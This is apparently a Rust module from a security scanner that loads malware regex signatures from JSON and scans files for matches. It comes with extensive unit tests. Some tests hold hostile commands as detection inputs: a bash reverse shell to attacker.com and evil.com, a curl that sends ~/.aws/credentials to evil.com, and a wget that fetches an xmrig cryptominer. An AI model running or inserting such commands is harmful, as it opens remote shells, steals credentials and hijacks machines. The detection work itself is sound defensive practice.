use crate::rules::{Category, Confidence, Finding, Location, Severity};
use regex::Regex;
use serde::{Deserialize, Serialize};
use std::fs;
use std::path::Path;
use thiserror::Error;

/// Built-in malware signatures database (embedded at compile time)
const BUILTIN_SIGNATURES: &str = include_str!("../data/malware-signatures.json");

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct MalwareSignature {
    pub id: String,
    pub name: String,
    pub description: String,
    pub pattern: String,
    pub severity: String,
    pub category: String,
    pub confidence: String,
    pub reference: Option<String>,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct MalwareSignatureFile {
    pub version: String,
    pub updated_at: String,
    pub signatures: Vec<MalwareSignature>,
}

pub struct CompiledSignature {
    pub id: String,
    pub name: String,
    pub description: String,
    pub regex: Regex,
    pub severity: Severity,
    pub category: Category,
    pub confidence: Confidence,
    pub reference: Option<String>,
}

pub struct MalwareDatabase {
    signatures: Vec<CompiledSignature>,
    version: String,
    updated_at: String,
}

impl MalwareDatabase {
    /// Load the built-in malware signatures database
    pub fn builtin() -> Result<Self, MalwareDbError> {
        Self::from_json(BUILTIN_SIGNATURES)
    }

    /// Load malware signatures from a JSON file
    pub fn from_file(path: &Path) -> Result<Self, MalwareDbError> {
        let content = fs::read_to_string(path).map_err(MalwareDbError::ReadFile)?;
        Self::from_json(&content)
    }

    /// Load malware signatures from a JSON string
    pub fn from_json(json: &str) -> Result<Self, MalwareDbError> {
        let file: MalwareSignatureFile =
            serde_json::from_str(json).map_err(MalwareDbError::ParseJson)?;

        let mut signatures = Vec::new();
        for sig in file.signatures {
            let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
                id: sig.id.clone(),
                source: e,
            })?;

            let severity = match sig.severity.as_str() {
                "critical" => Severity::Critical,
                "high" => Severity::High,
                "medium" => Severity::Medium,
                "low" => Severity::Low,
                _ => Severity::Medium,
            };

            let category = match sig.category.as_str() {
                "exfiltration" => Category::Exfiltration,
                "privilege-escalation" => Category::PrivilegeEscalation,
                "persistence" => Category::Persistence,
                "prompt-injection" => Category::PromptInjection,
                "overpermission" => Category::Overpermission,
                "obfuscation" => Category::Obfuscation,
                "supply-chain" => Category::SupplyChain,
                "secret-leak" => Category::SecretLeak,
                _ => Category::Exfiltration,
            };

            let confidence = match sig.confidence.as_str() {
                "certain" => Confidence::Certain,
                "firm" => Confidence::Firm,
                "tentative" => Confidence::Tentative,
                _ => Confidence::Tentative,
            };

            signatures.push(CompiledSignature {
                id: sig.id,
                name: sig.name,
                description: sig.description,
                regex,
                severity,
                category,
                confidence,
                reference: sig.reference,
            });
        }

        Ok(Self {
            signatures,
            version: file.version,
            updated_at: file.updated_at,
        })
    }

    /// Get the database version
    pub fn version(&self) -> &str {
        &self.version
    }

    /// Get the last update date
    pub fn updated_at(&self) -> &str {
        &self.updated_at
    }

    /// Get the number of signatures
    pub fn signature_count(&self) -> usize {
        self.signatures.len()
    }

    /// Add additional signatures to the database
    pub fn add_signatures(
        &mut self,
        signatures: Vec<MalwareSignature>,
    ) -> Result<(), MalwareDbError> {
        for sig in signatures {
            let compiled = Self::compile_signature(sig)?;
            self.signatures.push(compiled);
        }
        Ok(())
    }

    /// Compile a single MalwareSignature into a CompiledSignature
    fn compile_signature(sig: MalwareSignature) -> Result<CompiledSignature, MalwareDbError> {
        let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
            id: sig.id.clone(),
            source: e,
        })?;

        let severity = match sig.severity.as_str() {
            "critical" => Severity::Critical,
            "high" => Severity::High,
            "medium" => Severity::Medium,
            "low" => Severity::Low,
            _ => Severity::Medium,
        };

        let category = match sig.category.as_str() {
            "exfiltration" => Category::Exfiltration,
            "privilege-escalation" => Category::PrivilegeEscalation,
            "persistence" => Category::Persistence,
            "prompt-injection" => Category::PromptInjection,
            "overpermission" => Category::Overpermission,
            "obfuscation" => Category::Obfuscation,
            "supply-chain" => Category::SupplyChain,
            "secret-leak" => Category::SecretLeak,
            _ => Category::Exfiltration,
        };

        let confidence = match sig.confidence.as_str() {
            "certain" => Confidence::Certain,
            "firm" => Confidence::Firm,
            "tentative" => Confidence::Tentative,
            _ => Confidence::Tentative,
        };

        Ok(CompiledSignature {
            id: sig.id,
            name: sig.name,
            description: sig.description,
            regex,
            severity,
            category,
            confidence,
            reference: sig.reference,
        })
    }

    /// Scan content for malware patterns
    pub fn scan_content(&self, content: &str, file_path: &str) -> Vec<Finding> {
        let mut findings = Vec::new();

        for (line_num, line) in content.lines().enumerate() {
            for sig in &self.signatures {
                if sig.regex.is_match(line) {
                    findings.push(Finding {
                        id: sig.id.clone(),
                        severity: sig.severity,
                        category: sig.category,
                        name: sig.name.clone(),
                        location: Location {
                            file: file_path.to_string(),
                            line: line_num + 1,
                            column: None,
                        },
                        code: line.trim().to_string(),
                        message: sig.description.clone(),
                        recommendation: "Review this code carefully and remove if malicious"
                            .to_string(),
                        confidence: sig.confidence,
                        fix_hint: sig.reference.as_ref().map(|r| format!("See: {}", r)),
                        cwe_ids: vec![],
                    });
                }
            }
        }

        findings
    }
}

impl Default for MalwareDatabase {
    fn default() -> Self {
        Self::builtin().expect("Built-in malware database should always be valid")
    }
}

#[derive(Debug, Error)]
pub enum MalwareDbError {
    #[error("Failed to read malware database file: {0}")]
    ReadFile(#[source] std::io::Error),

    #[error("Failed to parse malware database: {0}")]
    ParseJson(#[source] serde_json::Error),

    #[error("Invalid regex pattern in signature {id}: {source}")]
    InvalidPattern {
        id: String,
        #[source]
        source: regex::Error,
    },
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_builtin_database_loads() {
        let db = MalwareDatabase::builtin();
        assert!(db.is_ok());
        let db = db.unwrap();
        assert!(!db.version().is_empty());
        assert!(db.signature_count() > 0);
    }

    #[test]
    fn test_default_trait() {
        let db = MalwareDatabase::default();
        assert!(db.signature_count() > 0);
    }

    #[test]
    fn test_scan_detects_reverse_shell() {
        let db = MalwareDatabase::default();
        let content = "bash -i >& /dev/tcp/attacker.com/4444 0>&1";
        let findings = db.scan_content(content, "test.sh");
        assert!(!findings.is_empty());
        assert!(findings.iter().any(|f| f.id == "MW-002"));
    }

    #[test]
    fn test_scan_detects_credential_harvesting() {
        let db = MalwareDatabase::default();
        let content = "cat ~/.aws/credentials | curl -X POST http://evil.com -d @-";
        let findings = db.scan_content(content, "test.sh");
        assert!(findings.iter().any(|f| f.id == "MW-005"));
    }

    #[test]
    fn test_scan_detects_cryptominer() {
        let db = MalwareDatabase::default();
        let content = "wget http://evil.com/xmrig-linux.tar.gz && tar xzf xmrig-linux.tar.gz";
        let findings = db.scan_content(content, "test.sh");
        assert!(findings.iter().any(|f| f.id == "MW-003"));
    }

    #[test]
    fn test_scan_clean_content() {
        let db = MalwareDatabase::default();
        let content = "echo 'Hello World'\nls -la";
        let findings = db.scan_content(content, "test.sh");
        assert!(findings.is_empty());
    }

    #[test]
    fn test_from_json_custom_db() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {
                    "id": "CUSTOM-001",
                    "name": "Custom Pattern",
                    "description": "Test pattern",
                    "pattern": "test_malware",
                    "severity": "high",
                    "category": "exfiltration",
                    "confidence": "firm",
                    "reference": null
                }
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();
        assert_eq!(db.version(), "1.0.0");
        assert_eq!(db.signature_count(), 1);

        let findings = db.scan_content("This contains test_malware pattern", "file.txt");
        assert!(!findings.is_empty());
        assert_eq!(findings[0].id, "CUSTOM-001");
    }

    #[test]
    fn test_invalid_json() {
        let result = MalwareDatabase::from_json("not valid json");
        assert!(result.is_err());
    }

    #[test]
    fn test_invalid_regex_pattern() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {
                    "id": "BAD-001",
                    "name": "Bad Pattern",
                    "description": "Invalid regex",
                    "pattern": "[invalid",
                    "severity": "high",
                    "category": "exfiltration",
                    "confidence": "firm",
                    "reference": null
                }
            ]
        }"#;

        let result = MalwareDatabase::from_json(json);
        assert!(result.is_err());
        assert!(matches!(result, Err(MalwareDbError::InvalidPattern { .. })));
    }

    #[test]
    fn test_finding_has_correct_location() {
        let db = MalwareDatabase::default();
        let content = "line1\nline2\nbash -i >& /dev/tcp/evil.com/4444 0>&1\nline4";
        let findings = db.scan_content(content, "test.sh");
        assert!(!findings.is_empty());
        assert_eq!(findings[0].location.line, 3);
        assert_eq!(findings[0].location.file, "test.sh");
    }

    #[test]
    fn test_severity_mapping() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {
                    "id": "TEST-001",
                    "name": "Critical",
                    "description": "Test",
                    "pattern": "critical_test",
                    "severity": "critical",
                    "category": "exfiltration",
                    "confidence": "certain",
                    "reference": null
                },
                {
                    "id": "TEST-002",
                    "name": "Low",
                    "description": "Test",
                    "pattern": "low_test",
                    "severity": "low",
                    "category": "persistence",
                    "confidence": "tentative",
                    "reference": null
                }
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();

        let findings = db.scan_content("critical_test", "file.txt");
        assert_eq!(findings[0].severity, Severity::Critical);
        assert_eq!(findings[0].confidence, Confidence::Certain);

        let findings = db.scan_content("low_test", "file.txt");
        assert_eq!(findings[0].severity, Severity::Low);
        assert_eq!(findings[0].category, Category::Persistence);
    }

    #[test]
    fn test_all_severity_levels() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {"id": "S1", "name": "T", "description": "T", "pattern": "sev_critical", "severity": "critical", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "S2", "name": "T", "description": "T", "pattern": "sev_high", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "S3", "name": "T", "description": "T", "pattern": "sev_medium", "severity": "medium", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "S4", "name": "T", "description": "T", "pattern": "sev_low", "severity": "low", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "S5", "name": "T", "description": "T", "pattern": "sev_unknown", "severity": "unknown", "category": "exfiltration", "confidence": "firm", "reference": null}
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();

        let findings = db.scan_content("sev_critical", "file.txt");
        assert_eq!(findings[0].severity, Severity::Critical);

        let findings = db.scan_content("sev_high", "file.txt");
        assert_eq!(findings[0].severity, Severity::High);

        let findings = db.scan_content("sev_medium", "file.txt");
        assert_eq!(findings[0].severity, Severity::Medium);

        let findings = db.scan_content("sev_low", "file.txt");
        assert_eq!(findings[0].severity, Severity::Low);

        // Unknown severity defaults to Medium
        let findings = db.scan_content("sev_unknown", "file.txt");
        assert_eq!(findings[0].severity, Severity::Medium);
    }

    #[test]
    fn test_all_categories() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {"id": "C1", "name": "T", "description": "T", "pattern": "cat_exfil", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "C2", "name": "T", "description": "T", "pattern": "cat_priv", "severity": "high", "category": "privilege-escalation", "confidence": "firm", "reference": null},
                {"id": "C3", "name": "T", "description": "T", "pattern": "cat_persist", "severity": "high", "category": "persistence", "confidence": "firm", "reference": null},
                {"id": "C4", "name": "T", "description": "T", "pattern": "cat_prompt", "severity": "high", "category": "prompt-injection", "confidence": "firm", "reference": null},
                {"id": "C5", "name": "T", "description": "T", "pattern": "cat_overperm", "severity": "high", "category": "overpermission", "confidence": "firm", "reference": null},
                {"id": "C6", "name": "T", "description": "T", "pattern": "cat_obfusc", "severity": "high", "category": "obfuscation", "confidence": "firm", "reference": null},
                {"id": "C7", "name": "T", "description": "T", "pattern": "cat_supply", "severity": "high", "category": "supply-chain", "confidence": "firm", "reference": null},
                {"id": "C8", "name": "T", "description": "T", "pattern": "cat_secret", "severity": "high", "category": "secret-leak", "confidence": "firm", "reference": null},
                {"id": "C9", "name": "T", "description": "T", "pattern": "cat_unknown", "severity": "high", "category": "unknown", "confidence": "firm", "reference": null}
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();

        let findings = db.scan_content("cat_exfil", "file.txt");
        assert_eq!(findings[0].category, Category::Exfiltration);

        let findings = db.scan_content("cat_priv", "file.txt");
        assert_eq!(findings[0].category, Category::PrivilegeEscalation);

        let findings = db.scan_content("cat_persist", "file.txt");
        assert_eq!(findings[0].category, Category::Persistence);

        let findings = db.scan_content("cat_prompt", "file.txt");
        assert_eq!(findings[0].category, Category::PromptInjection);

        let findings = db.scan_content("cat_overperm", "file.txt");
        assert_eq!(findings[0].category, Category::Overpermission);

        let findings = db.scan_content("cat_obfusc", "file.txt");
        assert_eq!(findings[0].category, Category::Obfuscation);

        let findings = db.scan_content("cat_supply", "file.txt");
        assert_eq!(findings[0].category, Category::SupplyChain);

        let findings = db.scan_content("cat_secret", "file.txt");
        assert_eq!(findings[0].category, Category::SecretLeak);

        // Unknown category defaults to Exfiltration
        let findings = db.scan_content("cat_unknown", "file.txt");
        assert_eq!(findings[0].category, Category::Exfiltration);
    }

    #[test]
    fn test_all_confidence_levels() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {"id": "CF1", "name": "T", "description": "T", "pattern": "conf_certain", "severity": "high", "category": "exfiltration", "confidence": "certain", "reference": null},
                {"id": "CF2", "name": "T", "description": "T", "pattern": "conf_firm", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
                {"id": "CF3", "name": "T", "description": "T", "pattern": "conf_tentative", "severity": "high", "category": "exfiltration", "confidence": "tentative", "reference": null},
                {"id": "CF4", "name": "T", "description": "T", "pattern": "conf_unknown", "severity": "high", "category": "exfiltration", "confidence": "unknown", "reference": null}
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();

        let findings = db.scan_content("conf_certain", "file.txt");
        assert_eq!(findings[0].confidence, Confidence::Certain);

        let findings = db.scan_content("conf_firm", "file.txt");
        assert_eq!(findings[0].confidence, Confidence::Firm);

        let findings = db.scan_content("conf_tentative", "file.txt");
        assert_eq!(findings[0].confidence, Confidence::Tentative);

        // Unknown confidence defaults to Tentative
        let findings = db.scan_content("conf_unknown", "file.txt");
        assert_eq!(findings[0].confidence, Confidence::Tentative);
    }

    #[test]
    fn test_signature_with_reference() {
        let json = r#"{
            "version": "1.0.0",
            "updated_at": "2026-01-25",
            "signatures": [
                {
                    "id": "REF-001",
                    "name": "Test with reference",
                    "description": "Test",
                    "pattern": "ref_test",
                    "severity": "high",
                    "category": "exfiltration",
                    "confidence": "firm",
                    "reference": "https://example.com/reference"
                }
            ]
        }"#;

        let db = MalwareDatabase::from_json(json).unwrap();
        let findings = db.scan_content("ref_test", "file.txt");
        assert!(findings[0].fix_hint.is_some());
        assert!(
            findings[0]
                .fix_hint
                .as_ref()
                .unwrap()
                .contains("https://example.com/reference")
        );
    }

    #[test]
    fn test_malware_db_error_display_read_file() {
        let io_error =
            std::io::Error::new(std::io::ErrorKind::PermissionDenied, "permission denied");
        let error = MalwareDbError::ReadFile(io_error);
        assert!(format!("{}", error).contains("Failed to read malware database file"));
    }

    #[test]
    fn test_malware_db_error_display_parse_json() {
        // Create a real serde_json error
        let result: Result<MalwareSignatureFile, _> = serde_json::from_str("invalid json");
        let json_error = result.unwrap_err();
        let error = MalwareDbError::ParseJson(json_error);
        assert!(format!("{}", error).contains("Failed to parse malware database"));
    }

    #[test]
    #[allow(clippy::invalid_regex)]
    fn test_malware_db_error_display_invalid_pattern() {
        // Create a real regex error
        let regex_error = Regex::new("[invalid").unwrap_err();
        let error = MalwareDbError::InvalidPattern {
            id: "SIG-001".to_string(),
            source: regex_error,
        };
        assert!(format!("{}", error).contains("Invalid regex pattern"));
        assert!(format!("{}", error).contains("SIG-001"));
    }

    #[test]
    fn test_malware_db_error_is_error() {
        let io_error = std::io::Error::new(std::io::ErrorKind::NotFound, "not found");
        let error: Box<dyn std::error::Error> = Box::new(MalwareDbError::ReadFile(io_error));
        assert!(!error.to_string().is_empty());
    }

    #[test]
    fn test_database_metadata() {
        let db = MalwareDatabase::default();
        assert!(!db.version().is_empty());
        assert!(!db.updated_at().is_empty());
    }

    #[test]
    fn test_multiline_content_scan() {
        let db = MalwareDatabase::default();
        let content = r#"
#!/bin/bash
echo "Hello"
bash -i >& /dev/tcp/evil.com/4444 0>&1
echo "Goodbye"
"#;
        let findings = db.scan_content(content, "test.sh");
        assert!(!findings.is_empty());
        assert_eq!(findings[0].location.line, 4);
    }

    #[test]
    fn test_add_signatures() {
        let mut db = MalwareDatabase::default();
        let initial_count = db.signature_count();

        let custom_sigs = vec![MalwareSignature {
            id: "MW-CUSTOM-001".to_string(),
            name: "Custom Malware".to_string(),
            description: "Test custom pattern".to_string(),
            pattern: "custom_evil_pattern".to_string(),
            severity: "critical".to_string(),
            category: "exfiltration".to_string(),
            confidence: "firm".to_string(),
            reference: None,
        }];

        db.add_signatures(custom_sigs).unwrap();
        assert_eq!(db.signature_count(), initial_count + 1);

        // Test that the new signature is working
        let findings = db.scan_content("custom_evil_pattern detected", "test.sh");
        assert!(!findings.is_empty());
        assert!(findings.iter().any(|f| f.id == "MW-CUSTOM-001"));
    }

    #[test]
    fn test_add_signatures_invalid_pattern() {
        let mut db = MalwareDatabase::default();
        let custom_sigs = vec![MalwareSignature {
            id: "MW-INVALID".to_string(),
            name: "Invalid".to_string(),
            description: "Test".to_string(),
            pattern: "[invalid(".to_string(), // Invalid regex
            severity: "high".to_string(),
            category: "exfiltration".to_string(),
            confidence: "firm".to_string(),
            reference: None,
        }];

        let result = db.add_signatures(custom_sigs);
        assert!(result.is_err());
    }

    #[test]
    fn test_add_signatures_all_severity_levels() {
        let mut db = MalwareDatabase::default();
        let custom_sigs = vec![
            MalwareSignature {
                id: "ADD-HIGH".to_string(),
                name: "High".to_string(),
                description: "Test".to_string(),
                pattern: "add_high_test".to_string(),
                severity: "high".to_string(),
                category: "exfiltration".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "ADD-MEDIUM".to_string(),
                name: "Medium".to_string(),
                description: "Test".to_string(),
                pattern: "add_medium_test".to_string(),
                severity: "medium".to_string(),
                category: "exfiltration".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "ADD-LOW".to_string(),
                name: "Low".to_string(),
                description: "Test".to_string(),
                pattern: "add_low_test".to_string(),
                severity: "low".to_string(),
                category: "exfiltration".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "ADD-UNKNOWN".to_string(),
                name: "Unknown".to_string(),
                description: "Test".to_string(),
                pattern: "add_unknown_test".to_string(),
                severity: "unknown".to_string(),
                category: "exfiltration".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
        ];

        db.add_signatures(custom_sigs).unwrap();

        let findings = db.scan_content("add_high_test", "test.txt");
        assert_eq!(findings[0].severity, Severity::High);

        let findings = db.scan_content("add_medium_test", "test.txt");
        assert_eq!(findings[0].severity, Severity::Medium);

        let findings = db.scan_content("add_low_test", "test.txt");
        assert_eq!(findings[0].severity, Severity::Low);

        let findings = db.scan_content("add_unknown_test", "test.txt");
        assert_eq!(findings[0].severity, Severity::Medium); // Default
    }

    #[test]
    fn test_add_signatures_all_categories() {
        let mut db = MalwareDatabase::default();
        let custom_sigs = vec![
            MalwareSignature {
                id: "CAT-PRIV".to_string(),
                name: "Priv".to_string(),
                description: "Test".to_string(),
                pattern: "cat_priv_add".to_string(),
                severity: "high".to_string(),
                category: "privilege-escalation".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-PERSIST".to_string(),
                name: "Persist".to_string(),
                description: "Test".to_string(),
                pattern: "cat_persist_add".to_string(),
                severity: "high".to_string(),
                category: "persistence".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-PROMPT".to_string(),
                name: "Prompt".to_string(),
                description: "Test".to_string(),
                pattern: "cat_prompt_add".to_string(),
                severity: "high".to_string(),
                category: "prompt-injection".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-OVERPERM".to_string(),
                name: "Overperm".to_string(),
                description: "Test".to_string(),
                pattern: "cat_overperm_add".to_string(),
                severity: "high".to_string(),
                category: "overpermission".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-OBFUSC".to_string(),
                name: "Obfusc".to_string(),
                description: "Test".to_string(),
                pattern: "cat_obfusc_add".to_string(),
                severity: "high".to_string(),
                category: "obfuscation".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-SUPPLY".to_string(),
                name: "Supply".to_string(),
                description: "Test".to_string(),
                pattern: "cat_supply_add".to_string(),
                severity: "high".to_string(),
                category: "supply-chain".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-SECRET".to_string(),
                name: "Secret".to_string(),
                description: "Test".to_string(),
                pattern: "cat_secret_add".to_string(),
                severity: "high".to_string(),
                category: "secret-leak".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CAT-UNKNOWN".to_string(),
                name: "Unknown".to_string(),
                description: "Test".to_string(),
                pattern: "cat_unknown_add".to_string(),
                severity: "high".to_string(),
                category: "unknown".to_string(),
                confidence: "firm".to_string(),
                reference: None,
            },
        ];

        db.add_signatures(custom_sigs).unwrap();

        let findings = db.scan_content("cat_priv_add", "test.txt");
        assert_eq!(findings[0].category, Category::PrivilegeEscalation);

        let findings = db.scan_content("cat_persist_add", "test.txt");
        assert_eq!(findings[0].category, Category::Persistence);

        let findings = db.scan_content("cat_prompt_add", "test.txt");
        assert_eq!(findings[0].category, Category::PromptInjection);

        let findings = db.scan_content("cat_overperm_add", "test.txt");
        assert_eq!(findings[0].category, Category::Overpermission);

        let findings = db.scan_content("cat_obfusc_add", "test.txt");
        assert_eq!(findings[0].category, Category::Obfuscation);

        let findings = db.scan_content("cat_supply_add", "test.txt");
        assert_eq!(findings[0].category, Category::SupplyChain);

        let findings = db.scan_content("cat_secret_add", "test.txt");
        assert_eq!(findings[0].category, Category::SecretLeak);

        let findings = db.scan_content("cat_unknown_add", "test.txt");
        assert_eq!(findings[0].category, Category::Exfiltration); // Default
    }

    #[test]
    fn test_add_signatures_all_confidence_levels() {
        let mut db = MalwareDatabase::default();
        let custom_sigs = vec![
            MalwareSignature {
                id: "CONF-TENT".to_string(),
                name: "Tentative".to_string(),
                description: "Test".to_string(),
                pattern: "conf_tentative_add".to_string(),
                severity: "high".to_string(),
                category: "exfiltration".to_string(),
                confidence: "tentative".to_string(),
                reference: None,
            },
            MalwareSignature {
                id: "CONF-UNKNOWN".to_string(),
                name: "Unknown".to_string(),
                description: "Test".to_string(),
                pattern: "conf_unknown_add".to_string(),
                severity: "high".to_string(),
                category: "exfiltration".to_string(),
                confidence: "unknown".to_string(),
                reference: None,
            },
        ];

        db.add_signatures(custom_sigs).unwrap();

        let findings = db.scan_content("conf_tentative_add", "test.txt");
        assert_eq!(findings[0].confidence, Confidence::Tentative);

        let findings = db.scan_content("conf_unknown_add", "test.txt");
        assert_eq!(findings[0].confidence, Confidence::Tentative); // Default
    }
}
